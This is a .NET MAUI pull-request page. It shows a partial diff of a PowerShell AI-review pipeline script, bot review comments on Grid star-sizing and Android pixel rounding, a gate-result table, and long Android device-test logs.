@@ -1168,7 +847,7 @@ if (Test-Path $regressionScript) {
Write-Host " ⚠️ Find-RegressionRisks.ps1 not found" -ForegroundColor Yellow
}
-# --- Regression Test Execution (part of STEP 4) ---
+# --- Regression Test Execution (part of STEP 3) ---
$regressionTestResult = "SKIPPED"
$regressionRisksJson = Join-Path $regressionOutputDir "risks.json"
if (Test-Path $regressionRisksJson) {
@@ -1209,8 +888,8 @@ if ($risksData -and ($risksData.result -eq 'REVERT' -or $risksData.result -eq 'O
$regrTestDetails = @()
$regrPlatform = if ($Platform) { $Platform } else { "android" }
- $uiTestRunner = Join-Path $RepoRoot ".github/scripts/BuildAndRunHostApp.ps1"
- $deviceTestRunner = Join-Path $RepoRoot ".github/skills/run-device-tests/scripts/Run-DeviceTests.ps1"
+ $uiTestRunner = Join-Path $ScriptsDir "BuildAndRunHostApp.ps1"
+ $deviceTestRunner = Join-Path $SkillsDir "run-device-tests/scripts/Run-DeviceTests.ps1"
foreach ($t in $regressionTests) {
Write-Host ""
@@ -1221,7 +900,7 @@ if ($risksData -and ($risksData.result -eq 'REVERT' -or $risksData.result -eq 'O
'UITest' {
if (Test-Path $uiTestRunner) {
Write-Host " 🖥️ Running UI test via BuildAndRunHostApp.ps1 -Platform $regrPlatform -TestFilter `"$($t.Filter)`"" -ForegroundColor Cyan
- $testOutput = & $uiTestRunner -Platform $regrPlatform -TestFilter $t.Filter 2>&1
+ $testOutput = Invoke-WithoutGhTokens { & $uiTestRunner -Platform $regrPlatform -TestFilter $t.Filter 2>&1 }
$testExitCode = $LASTEXITCODE
$testOutput | Select-Object -Last 20 | ForEach-Object { Write-Host " $_" }
} else {
@@ -1233,7 +912,7 @@ if ($risksData -and ($risksData.result -eq 'REVERT' -or $risksData.result -eq 'O
if (Test-Path $deviceTestRunner) {
$dtProject = if ($t.Project) { $t.Project } else { 'Controls' }
Write-Host " 📱 Running device test via Run-DeviceTests.ps1 -Project $dtProject -Platform $regrPlatform -TestFilter `"$($t.Filter)`"" -ForegroundColor Cyan
- $testOutput = & $deviceTestRunner -Project $dtProject -Platform $regrPlatform -TestFilter $t.Filter 2>&1
+ $testOutput = Invoke-WithoutGhTokens { & $deviceTestRunner -Project $dtProject -Platform $regrPlatform -TestFilter $t.Filter 2>&1 }
$testExitCode = $LASTEXITCODE
$testOutput | Select-Object -Last 20 | ForEach-Object { Write-Host " $_" }
} else {
@@ -1245,7 +924,7 @@ if ($risksData -and ($risksData.result -eq 'REVERT' -or $risksData.result -eq 'O
if ($t.ProjectPath) {
$resolvedProj = Join-Path $RepoRoot $t.ProjectPath
Write-Host " 🧪 Running: dotnet test $($t.ProjectPath) --filter `"$($t.Filter)`"" -ForegroundColor Cyan
- $testOutput = dotnet test $resolvedProj --filter $t.Filter --logger "console;verbosity=minimal" 2>&1
+ $testOutput = Invoke-WithoutGhTokens { dotnet test $resolvedProj --filter $t.Filter --logger "console;verbosity=minimal" 2>&1 }
$testExitCode = $LASTEXITCODE
$testOutput | Select-Object -Last 20 | ForEach-Object { Write-Host " $_" }
} else {
@@ -1324,13 +1003,13 @@ if ($risksData -and ($risksData.result -eq 'REVERT' -or $risksData.result -eq 'O
}
# ═════════════════════════════════════════════════════════════════════════════
-# STEP 5: Gate - Test Before and After Fix (script, no copilot agent)
+# STEP 4: Gate - Test Before and After Fix (script, no copilot agent)
# ═════════════════════════════════════════════════════════════════════════════
-# TEMP: Skip Gate (STEP 5) + Try-Fix (STEP 6) for fast iteration on the
+# TEMP: Skip Gate (STEP 4) + Try-Fix (STEP 5) for fast iteration on the
# inline-stages architecture. Both phases are expensive (build the whole
-# repo, run agents on multiple candidates) and we just need STEPs 1-4 +
-# STEP 7 (post comment) to validate that detectedCategories /
+# repo, run agents on multiple candidates) and we just need STEPs 1-3 +
+# STEP 6 (post comment) to validate that detectedCategories /
# aiSummaryCommentId output variables flow through to the new
# RunDeepUITests + UpdateAISummaryComment stages. Flip $skipGateAndTryFix
# back to $false (or delete the wrapper) once the new pipeline stages
@@ -1340,7 +1019,7 @@ if (-not $skipGateAndTryFix) {
Write-Host ""
Write-Host "╔═══════════════════════════════════════════════════════════╗" -ForegroundColor Yellow
-Write-Host "║ STEP 5: GATE — TEST VERIFICATION ║" -ForegroundColor Yellow
+Write-Host "║ STEP 4: GATE — TEST VERIFICATION ║" -ForegroundColor Yellow
Write-Host "╚═══════════════════════════════════════════════════════════╝" -ForegroundColor Yellow
$gateOutputDir = Join-Path $RepoRoot "CustomAgentLogsTmp/PRState/$PRNumber/PRAgent/gate"
@@ -1348,7 +1027,7 @@ New-Item -ItemType Directory -Force -Path $gateOutputDir | Out-Null
# Detect tests in PR
Write-Host " 🔍 Detecting tests in PR #$PRNumber..." -ForegroundColor Cyan
-$testDetectScript = Join-Path $PSScriptRoot "shared/Detect-TestsInDiff.ps1"
+$testDetectScript = Join-Path $ScriptsDir "shared/Detect-TestsInDiff.ps1"
if (Test-Path $testDetectScript) {
$testDetectScript = (Resolve-Path $testDetectScript).Path
& pwsh -NoProfile -File $testDetectScript -PRNumber $PRNumber 2>&1 | ForEach-Object { Write-Host " $_" }
@@ -1360,7 +1039,7 @@ if (Test-Path $testDetectScript) {
$gatePlatform = if ($Platform) { $Platform } else { "android" }
Write-Host " 🧪 Running gate on platform: $gatePlatform" -ForegroundColor Cyan
-$verifyScript = [System.IO.Path]::GetFullPath((Join-Path $PSScriptRoot "../skills/verify-tests-fail-without-fix/scripts
... [truncated]The diff was truncated to fit GitHub's review body limit.
|
/review -b feature/refactor-copilot-yml -p android |
MauiBot
left a comment
There was a problem hiding this comment.
Expert Review — 3 findings
See inline comments for details.
| return new int[portions.Length]; // All zeros | ||
|
|
||
| var result = new int[portions.Length]; | ||
| var targetTotal = (int)Math.Floor(totalPixels); |
There was a problem hiding this comment.
[major] Logic and Correctness — This floors the total pixel budget, but Android arrangement uses Context.ToPixels, which ceilings sizes to avoid clipping. Concrete scenario: 300dp at 2.625 density is 787.5px; Android gives the parent 788px, while this allocator only distributes 787px, leaving star children one physical pixel short. Use the same rounding policy as Android arrange (or distribute the actual arranged pixel width) so the children exactly fill the parent.
| @@ -925,12 +929,14 @@ static void ExpandStars(double targetSize, double currentSize, Definition[] defs | |||
| // targetStarSize, that means we have enough room to expand all of our star rows/columns | |||
| // to their full size. | |||
|
|
|||
| foreach (var definition in defs) | |||
| var starDefinitions = defs.Where(d => d.IsStar).ToArray(); | |||
There was a problem hiding this comment.
[major] Performance-Critical Path Optimization — ExpandStars runs during Grid arrange, but this adds LINQ and temporary arrays (Where(...).ToArray(), Select(...).ToArray(), Sum()) on every arrange pass for star grids; the proportional branch repeats the same pattern. Grid is commonly used in item templates and hot layout paths, so this will allocate during scrolling/layout. Replace this with indexed loops over defs that compute totals and assign sizes without per-arrange allocations.
| [Category(UITestCategories.Border)] | ||
| public void ShouldDisplayLabelWithoutBeingCroppedInsideBorder() | ||
| { | ||
| App.WaitForElement("Label"); |
There was a problem hiding this comment.
[critical] Regression Prevention — This regression only waits for the label and snapshots the page, but the gate result shows the test does not fail without the fix. It also omits the original repro behavior of varying padding around the 70–72dp range and comparing the Border-contained label against an unclipped label. Please make the test deterministically fail on the pre-fix Android scenario (for example by asserting the full text/bounds are visible at the problematic padding/density, or by using a screenshot/precondition that the gate proves fails without the production change).
🤖 AI Summary
📊 Review Session —
|
| Test | Without Fix (expect FAIL) | With Fix (expect PASS) |
|---|---|---|
📱 ViewTests ViewTests |
✅ FAIL — 1455s | ✅ PASS — 1042s |
📱 WindowHandlerStub WindowHandlerStub |
❌ PASS — 1154s | ✅ PASS — 1008s |
🖥️ Issue28117 Issue28117 |
✅ FAIL — 656s | ✅ PASS — 596s |
🧪 GridLayoutManagerDensityTests GridLayoutManagerDensityTests |
❌ PASS — 24s | ✅ PASS — 19s |
🔴 Without fix — 📱 ViewTests: FAIL ✅ · 1455s
(truncated to last 15,000 chars)
DOTNET : [PASS] FlyoutItems Render When FlyoutBehavior Starts As Locked
05-29 09:58:25.654 8713 13248 I DOTNET : [PASS] TitleView Updates to Currently Visible Page
05-29 09:58:26.532 8713 13253 I DOTNET : [PASS] SwappingOutAndroidContextDoesntCrash
05-29 09:58:28.691 8713 13258 I DOTNET : [PASS] Pushing the Same Page Disconnects Previous Toolbar Items
05-29 09:58:28.691 8713 13258 I DOTNET : Microsoft.Maui.DeviceTests.ShellTests 83.2026031 ms
05-29 09:58:29.617 8713 13263 I DOTNET : [PASS] LoadedFiresOnPushedPage
05-29 09:58:29.857 8713 13269 I DOTNET : [PASS] LoadedAndUnloadedFire
05-29 09:58:30.435 8713 13274 I DOTNET : [PASS] NavigatedToFiresAfterLoaded
05-29 09:58:30.881 8713 13279 I DOTNET : [PASS] LoadedAndUnloadedFireWhenParentRemoved
05-29 09:58:30.881 8713 13279 I DOTNET : Microsoft.Maui.DeviceTests.VisualElementTests+NewWindowCollection 2.1063312 ms
05-29 09:58:31.117 8713 13284 I DOTNET : [PASS] FindPlatformViewViaDefaultContainer
05-29 09:58:31.384 8713 13289 I DOTNET : [PASS] FindPlatformViewInsideView
05-29 09:58:31.585 8713 13294 I DOTNET : [PASS] FindPlatformViewInsideView
05-29 09:58:31.828 8713 13299 I DOTNET : [PASS] GetVisualTreeElements
05-29 09:58:32.109 8713 13304 I DOTNET : [PASS] FindPlatformViewInsideLayout
05-29 09:58:32.342 8713 13309 I DOTNET : [PASS] FindVisualTreeElementWithArbitraryPlatformViewsAdded
05-29 09:58:32.626 8713 13314 I DOTNET : [PASS] FindPlatformViewInsideScrollView
05-29 09:58:33.143 8713 13319 I DOTNET : [PASS] FindFirstMauiParentElement
05-29 09:58:33.357 8713 13324 I DOTNET : [PASS] FindFirstMauiParentElement
05-29 09:58:33.357 8713 13324 I DOTNET : Microsoft.Maui.DeviceTests.VisualElementTreeTests 2.0776168 ms
05-29 09:58:33.725 8713 13329 I DOTNET : [PASS] SwitchBetweenWindowShouldTriggerIsActivated
05-29 09:58:34.131 8713 13334 I DOTNET : [PASS] MainPageSwapTests
05-29 09:58:34.682 8713 13339 I DOTNET : [PASS] MainPageSwapTests
05-29 09:58:35.221 8713 13344 I DOTNET : [PASS] MainPageSwapTests
05-29 09:58:35.860 8713 13349 I DOTNET : [PASS] MainPageSwapTests
05-29 09:58:36.061 8713 13354 I DOTNET : [PASS] WindowDestroyingPreservesWindowScopeOnAndroid
05-29 09:58:37.175 8713 13359 I DOTNET : [PASS] ChangingToNewMauiContextDoesntCrash
05-29 09:58:38.162 8713 13364 I DOTNET : [PASS] ChangingToNewMauiContextDoesntCrash
05-29 09:58:38.787 8713 13369 I DOTNET : [PASS] ChangingToNewMauiContextDoesntCrash
05-29 09:58:39.316 8713 13374 I DOTNET : [PASS] ChangingToNewMauiContextDoesntCrash
05-29 09:58:39.512 8713 13379 I DOTNET : [PASS] WindowIsActivedRespondToMethodsCall
05-29 09:58:39.803 8713 13384 I DOTNET : [PASS] Toolbar Items Update when swapping out Main Page on Handler
05-29 09:58:39.953 8713 13389 I DOTNET : [PASS] Initial Dispatch from Background Thread Succeeds
05-29 09:58:39.953 8713 13389 I DOTNET : Microsoft.Maui.DeviceTests.WindowTests 6.3733887 ms
05-29 09:58:39.956 8713 13389 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.HybridWebViewTests_Initialization
05-29 09:58:46.638 8713 13395 I DOTNET : [PASS] CanSetUserAgentUsingProperties
05-29 09:58:53.017 8713 13401 I DOTNET : [PASS] CanSetUserAgentUsingInitializingEvent
05-29 09:58:59.643 8713 13408 I DOTNET : [PASS] InitializedEventIsRaised
05-29 09:59:06.090 8713 13415 I DOTNET : [PASS] InitializingEventIsRaised
05-29 09:59:12.640 8713 13423 I DOTNET : [PASS] InitializingEventIsRaisedAndPropertiesSetAreApplied
05-29 09:59:12.641 8713 13423 I DOTNET : Microsoft.Maui.DeviceTests.HybridWebViewTests_Initialization 32.5966348 ms
05-29 09:59:12.641 8713 13423 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.FormattedStringTests
05-29 09:59:12.717 8713 13428 I DOTNET : [PASS] NativeFormattedStringContainsSpan
05-29 09:59:12.717 8713 13428 I DOTNET : Microsoft.Maui.DeviceTests.FormattedStringTests 0.0588394 ms
05-29 09:59:12.717 8713 13428 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.AlertDialogTests
05-29 09:59:12.833 8713 13428 I DOTNET : [PASS] AlertDialogButtonColorDarkTheme
05-29 09:59:13.029 8713 13435 I DOTNET : [PASS] AlertDialogButtonColorLightTheme
05-29 09:59:13.029 8713 13435 I DOTNET : Microsoft.Maui.DeviceTests.AlertDialogTests 0.3083281 ms
05-29 09:59:13.029 8713 13435 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.MapperTests
05-29 09:59:13.049 8713 13435 I DOTNET : [PASS] ValidateMapperGenerics
05-29 09:59:13.049 8713 13435 I DOTNET : [PASS] ValidateMapperGenerics
05-29 09:59:13.049 8713 13435 I DOTNET : Microsoft.Maui.DeviceTests.MapperTests 0.0161463 ms
05-29 09:59:13.049 8713 13435 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.EntryTests
05-29 09:59:13.149 8713 13441 I DOTNET : [PASS] ScaleXConsistent
05-29 09:59:13.156 8713 13441 I DOTNET : [PASS] MaxLengthTrims
05-29 09:59:13.161 8713 13441 I DOTNET : [PASS] EntryMaxLengthAndTextOrder_RespectsMaxLength
05-29 09:59:13.166 8713 13441 I DOTNET : [PASS] VerifyEntryIsVisibleProperty
05-29 09:59:13.182 8713 13446 I DOTNET : [PASS] ChangingPlatformTextPreservesTextTransform
05-29 09:59:13.186 8713 13446 I DOTNET : [PASS] ChangingPlatformTextPreservesTextTransform
05-29 09:59:13.190 8713 13446 I DOTNET : [PASS] ScaleConsistent
05-29 09:59:13.214 8713 13446 I DOTNET : [PASS] Entry with longer text and short text updates correctly
05-29 09:59:13.217 8713 13446 I DOTNET : [PASS] InitializingTextTransformBeforeTextShouldUpdateTextProperty
05-29 09:59:13.220 8713 13446 I DOTNET : [PASS] RotationYConsistent
05-29 09:59:13.223 8713 13446 I DOTNET : [PASS] EntryTranslationConsistent
05-29 09:59:13.254 8713 13452 I DOTNET : [PASS] Android crash when Entry has more than 5000 characters
05-29 09:59:13.266 8713 13457 I DOTNET : [PASS] UpdateTextWithTextLongerThanMaxLength
05-29 09:59:13.284 8713 13462 I DOTNET : [PASS] VerifyEntryOpacityProperty
05-29 09:59:13.474 8713 13468 I DOTNET : [PASS] EntryBackgroundColorConsistent
05-29 09:59:13.487 8713 13468 I DOTNET : [PASS] SelectionLengthRightToLeft
05-29 09:59:13.492 8713 13468 I DOTNET : [PASS] RotationXConsistent
05-29 09:59:13.499 8713 13468 I DOTNET : [PASS] CursorPositionPreservedWhenTextTransformPresent
05-29 09:59:13.503 8713 13468 I DOTNET : [PASS] ScaleYConsistent
05-29 09:59:13.510 8713 13468 I DOTNET : [PASS] RotationConsistent
05-29 09:59:13.511 8713 13468 I DOTNET : Microsoft.Maui.DeviceTests.EntryTests 0.4314789 ms
05-29 09:59:13.724 8713 13468 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.LabelTests
05-29 09:59:13.808 8713 13474 I DOTNET : [PASS] FormattedStringSpanTextTransformOverridesLabelTextTransform
05-29 09:59:14.029 8713 13479 I DOTNET : [PASS] FontStuffAfterTextTypeIsCorrect
05-29 09:59:14.037 8713 13479 I DOTNET : [PASS] VerifyLabelIsVisibleProperty
05-29 09:59:14.057 8713 13485 I DOTNET : [PASS] Html Text Initializes Correctly
05-29 09:59:14.060 8713 13485 I DOTNET : [PASS] Negative MaxLines value with wrap is correct
05-29 09:59:14.219 8713 13490 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:14.373 8713 13495 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:14.531 8713 13500 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:14.697 8713 13505 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:14.849 8713 13510 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:15.003 8713 13515 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:15.167 8713 13520 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:15.324 8713 13525 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:15.487 8713 13530 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:15.638 8713 13535 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:15.818 8713 13540 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:15.977 8713 13545 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 09:59:15.987 8713 13545 I DOTNET : [PASS] VerifyLabelOpacityProperty
05-29 09:59:16.127 8713 13550 I DOTNET : [PASS] FontStuffAppliesEvenInHtmlMode
05-29 09:59:16.133 8713 13550 I DOTNET : [PASS] LabelTranslationConsistent
05-29 09:59:16.139 8713 13550 I DOTNET : [PASS] TextTransformUpdated
05-29 09:59:16.145 8713 13550 I DOTNET : [PASS] TextTransformUpdated
05-29 09:59:16.149 8713 13550 I DOTNET : [PASS] ScaleXConsistent
05-29 09:59:16.229 8713 13555 I DOTNET : [PASS] TextColorAppliesEvenInHtmlMode
05-29 09:59:16.230 8713 13555 I DOTNET : [PASS] Vertical text aligned when RTL is not supported
05-29 09:59:16.245 8713 13560 I DOTNET : [PASS] Using TailTruncation LineBreakMode with 2 MaxLines
05-29 09:59:16.247 8713 13560 I DOTNET : [PASS] LineBreakMode TailTruncation does not affect MaxLines
05-29 09:59:16.248 8713 13560 I DOTNET : [PASS] Horizontal text aligned when RTL is not supported
05-29 09:59:16.732 8713 13565 I DOTNET : [PASS] UpdatingFormattedTextResultsInTheSameLayout
05-29 09:59:17.204 8713 13570 I DOTNET : [PASS] UpdatingFormattedTextResultsInTheSameLayout
05-29 09:59:17.663 8713 13575 I DOTNET : [PASS] UpdatingFormattedTextResultsInTheSameLayout
05-29 09:59:18.381 8713 13580 I DOTNET : [PASS] FormattedStringSpanTextHasCorrectColorWhenChangedAfterCreation
05-29 09:59:18.671 8713 13585 I DOTNET : [PASS] FormattedStringSpanTextHasCorrectColorWhenChanges
05-29 09:59:18.682 8713 13585 I DOTNET : [PASS] LineBreakMode does not affect MaxLines
05-29 09:59:18.686 8713 13585 I DOTNET : [PASS] RotationConsistent
05-29 09:59:19.125 8713 13590 I DOTNET : [PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
05-29 09:59:19.555 8713 13595 I DOTNET : [PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
05-29 09:59:19.997 8713 13600 I DOTNET : [PASS] FormattedStringSpanTextHasCorrectLayoutWhenAligned
05-29 09:59:20.004 8713 13600 I DOTNET : [PASS] MaxLines Initializes Correctly
05-29 09:59:20.009 8713 13600 I DOTNET : [PASS] RotationXConsistent
05-29 09:59:20.017 8713 13600 I DOTNET : [PASS] LineBreakMode Initializes Correctly
05-29 09:59:20.022 8713 13600 I DOTNET : [PASS] InitialTextTransformApplied
05-29 09:59:20.027 8713 13600 I DOTNET : [PASS] InitialTextTransformApplied
05-29 09:59:20.031 8713 13600 I DOTNET : [PASS] RotationYConsistent
05-29 09:59:20.035 8713 13600 I DOTNET : [PASS] Single LineBreakMode changes MaxLines
05-29 09:59:20.039 8713 13600 I DOTNET : [PASS] VerifyLabelIsEnabledProperty
05-29 09:59:20.039 8713 13600 I DOTNET : [IGNORED] InitialFormattedTextMatchesText
05-29 09:59:20.246 8713 13600 I DOTNET : [PASS] TextTypeAfterFontStuffIsCorrect
05-29 09:59:20.250 8713 13600 I DOTNET : [PASS] ScaleYConsistent
05-29 09:59:20.254 8713 13600 I DOTNET : [PASS] ScaleConsistent
05-29 09:59:22.902 8713 13605 I DOTNET : [PASS] ChangingTextTypeWithFormattedTextSwitchesTextSource
05-29 09:59:22.913 8713 13605 I DOTNET : [PASS] FormattedStringSpanTextTransformApplied
05-29 09:59:22.920 8713 13605 I DOTNET : [PASS] FormattedStringSpanTextTransformApplied
05-29 09:59:23.079 8713 13610 I DOTNET : [PASS] LabelBackgroundColorConsistent
05-29 09:59:28.333 8713 13621 I DOTNET : [PASS] Does Not Leak
05-29 09:59:28.336 8713 13621 I DOTNET : [PASS] Unsetting single LineBreakMode resets MaxLines
05-29 09:59:28.338 8713 13621 I DOTNET : [PASS] Unsetting single LineBreakMode resets MaxLines
05-29 09:59:28.338 8713 13621 I DOTNET : Microsoft.Maui.DeviceTests.LabelTests 13.9233243 ms
05-29 09:59:28.338 8713 13621 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.DispatchingTests
05-29 09:59:28.891 8713 13626 I DOTNET : [PASS] DispatchFromBackgroundThread
05-29 09:59:28.891 8713 13626 I DOTNET : Microsoft.Maui.DeviceTests.DispatchingTests 0.5370721 ms
05-29 09:59:28.891 8713 13626 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.ContentViewTests
05-29 09:59:28.901 8713 13626 I DOTNET : [PASS] ContentView updating it's ControlTemplate works
05-29 09:59:28.907 8713 13626 I DOTNET : [PASS] PropagateContextCorrectly
05-29 09:59:28.907 8713 13626 I DOTNET : Microsoft.Maui.DeviceTests.ContentViewTests 0.0159938 ms
05-29 09:59:28.907 8713 13626 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.SwipeViewTests
05-29 09:59:29.087 8713 13631 I DOTNET : [PASS] SwipeItem Size Initializes Correctly
05-29 09:59:29.098 8713 13631 I DOTNET : [PASS] ScaleXConsistent
05-29 09:59:29.103 8713 13631 I DOTNET : [PASS] RotationXConsistent
05-29 09:59:29.108 8713 13631 I DOTNET : [PASS] VerifySwipeViewIsEnabledProperty
05-29 09:59:29.113 8713 13631 I DOTNET : [PASS] VerifySwipeViewOpacityProperty
05-29 09:59:29.118 8713 13631 I DOTNET : [PASS] ScaleConsistent
05-29 09:59:29.122 8713 13631 I DOTNET : [PASS] RotationConsistent
05-29 09:59:29.127 8713 13631 I DOTNET : [PASS] VerifySwipeViewIsVisibleProperty
05-29 09:59:29.131 8713 13631 I DOTNET : [PASS] ScaleYConsistent
�[40m�[32minfo�[39m�[22m�[49m: <<XHARNESS_RESULT_START>>
{
"version": 1,
"machineName": "runnervmm79r7",
"exitCode": 82,
"exitCodeName": "RETURN_CODE_NOT_SET",
"platform": "android",
"device": "emulator-5554",
"deviceOsVersion": "API 30",
"architecture": "x86_64",
"files": [
{
"name": "adb-logcat-com.microsoft.maui.controls.devicetests-default.log",
"type": "logcat"
}
]
}
<<XHARNESS_RESULT_END>>
�[40m�[32minfo�[39m�[22m�[49m: Attempting to remove apk 'com.microsoft.maui.controls.devicetests'..
�[40m�[37mdbug�[39m�[22m�[49m: Executing command: '/home/vsts/.nuget/packages/microsoft.dotnet.xharness.cli/11.0.0-prerelease.26230.4/runtimes/any/native/adb/linux/adb -s emulator-5554 uninstall com.microsoft.maui.controls.devicetests'
�[41m�[30mfail�[39m�[22m�[49m: Error: Exit code: 20
Std out:
Std err:
cmd: Can't find service: package
XHarness exit code: 82 (RETURN_CODE_NOT_SET)
Tests completed with exit code: 82
🟢 With fix — 📱 ViewTests: PASS ✅ · 1042s
(truncated to last 15,000 chars)
I DOTNET : [PASS] Handler Does Not Leak
05-29 10:47:23.584 26340 29584 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:47:27.331 26340 29595 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:47:31.068 26340 29606 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:47:34.801 26340 29617 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:47:38.543 26340 29628 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:47:42.273 26340 29640 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:47:45.999 26340 29652 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:47:49.758 26340 29663 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:47:53.473 26340 29674 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:47:57.232 26340 29685 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:00.984 26340 29696 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:04.731 26340 29707 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:08.494 26340 29718 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:12.255 26340 29730 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:16.015 26340 29741 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:20.853 26340 29746 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:24.551 26340 29760 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:28.330 26340 29771 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:32.088 26340 29782 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:35.853 26340 29793 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:39.625 26340 29804 I DOTNET : [PASS] Handler Does Not Leak
05-29 10:48:45.143 26340 29810 I DOTNET : [PASS] CollectionView Header/Footer Doesn't Leak
05-29 10:48:53.030 26340 29815 I DOTNET : [PASS] FlyoutPage Detail Navigation Does Not Leak
05-29 10:48:53.030 26340 29815 I DOTNET : Microsoft.Maui.DeviceTests.Memory.MemoryTests 258.9285913 ms
05-29 10:48:53.030 26340 29815 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.BoxViewTests
05-29 10:48:53.036 26340 29815 I DOTNET : [PASS] VerifyBoxViewIsVisibleProperty
05-29 10:48:53.039 26340 29815 I DOTNET : [PASS] ScaleXConsistent
05-29 10:48:53.156 26340 29820 I DOTNET : [PASS] BoxView Initializes Correctly
05-29 10:48:53.272 26340 29825 I DOTNET : [PASS] BoxView Initializes Correctly
05-29 10:48:53.391 26340 29830 I DOTNET : [PASS] BoxView Initializes Correctly
05-29 10:48:53.506 26340 29835 I DOTNET : [PASS] BoxViewBackgroundConsistent
05-29 10:48:53.623 26340 29840 I DOTNET : [PASS] BoxViewBackgroundColorConsistent
05-29 10:48:53.625 26340 29840 I DOTNET : [PASS] RotationXConsistent
05-29 10:48:53.629 26340 29840 I DOTNET : [PASS] VerifyBoxViewOpacityProperty
05-29 10:48:53.631 26340 29840 I DOTNET : [PASS] ScaleYConsistent
05-29 10:48:53.648 26340 29840 I DOTNET : [PASS] RotationYConsistent
05-29 10:48:53.660 26340 29840 I DOTNET : [PASS] ScaleConsistent
05-29 10:48:53.662 26340 29840 I DOTNET : [PASS] BoxViewTranslationConsistent
05-29 10:48:53.665 26340 29840 I DOTNET : [PASS] VerifyBoxViewIsEnabledProperty
05-29 10:48:53.667 26340 29840 I DOTNET : [PASS] RotationConsistent
05-29 10:48:53.667 26340 29840 I DOTNET : Microsoft.Maui.DeviceTests.BoxViewTests 0.6223240 ms
05-29 10:48:53.667 26340 29840 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.FormattedStringTests
05-29 10:48:53.678 26340 29840 I DOTNET : [PASS] NativeFormattedStringContainsSpan
05-29 10:48:53.678 26340 29840 I DOTNET : Microsoft.Maui.DeviceTests.FormattedStringTests 0.0106929 ms
05-29 10:48:53.678 26340 29840 I DOTNET : Test collection for Microsoft.Maui.DeviceTests.LabelTests
05-29 10:48:53.692 26340 29840 I DOTNET : [PASS] FormattedStringSpanTextTransformOverridesLabelTextTransform
05-29 10:48:53.822 26340 29845 I DOTNET : [PASS] FontStuffAfterTextTypeIsCorrect
05-29 10:48:53.826 26340 29845 I DOTNET : [PASS] VerifyLabelIsVisibleProperty
05-29 10:48:53.833 26340 29845 I DOTNET : [PASS] Html Text Initializes Correctly
05-29 10:48:53.836 26340 29845 I DOTNET : [PASS] Negative MaxLines value with wrap is correct
05-29 10:48:53.948 26340 29850 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:54.060 26340 29855 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:54.177 26340 29860 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:54.296 26340 29865 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:54.413 26340 29870 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:54.588 26340 29875 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:54.694 26340 29880 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:54.813 26340 29885 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:54.935 26340 29890 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:55.063 26340 29895 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:55.189 26340 29900 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:55.295 26340 29905 I DOTNET : [PASS] LabelTruncatesCorrectly
05-29 10:48:55.317 26340 29911 I DOTNET : [PASS] VerifyLabelOpacityProperty
05-29 10:48:55.438 26340 29916 I DOTNET : [PASS] FontStuffAppliesEvenInHtmlMode
05-29 10:48:55.441 26340 29916 I DOTNET : [PASS] LabelTranslationConsistent
05-29 10:48:55.446 26340 29916 I DOTNET : [PASS] TextTransformUpdated
05-29 10:48:55.450 26340 29916 I DOTNET : [PASS] TextTransformUpdated
05-29 10:48:55.451 26340 29916 I DOTNET : [PASS] ScaleXConsistent
05-29 10:48:55.454 26340 29916 I DOTNET : [PASS] TextColorAppliesEvenInHtmlMode
05-29 10:48:55.454 26340 29916 I DOTNET : [PASS] Vertical text aligned when RTL is not supported
05-29 10:48:55.456 26340 29916 I DOTNET : [PASS] Using TailTruncation LineBreakMode with 2 MaxLines
05-29 10:48:55.458 26340 29916 I DOTNET : [PASS] LineBreakMode TailTruncation does not affect MaxLines
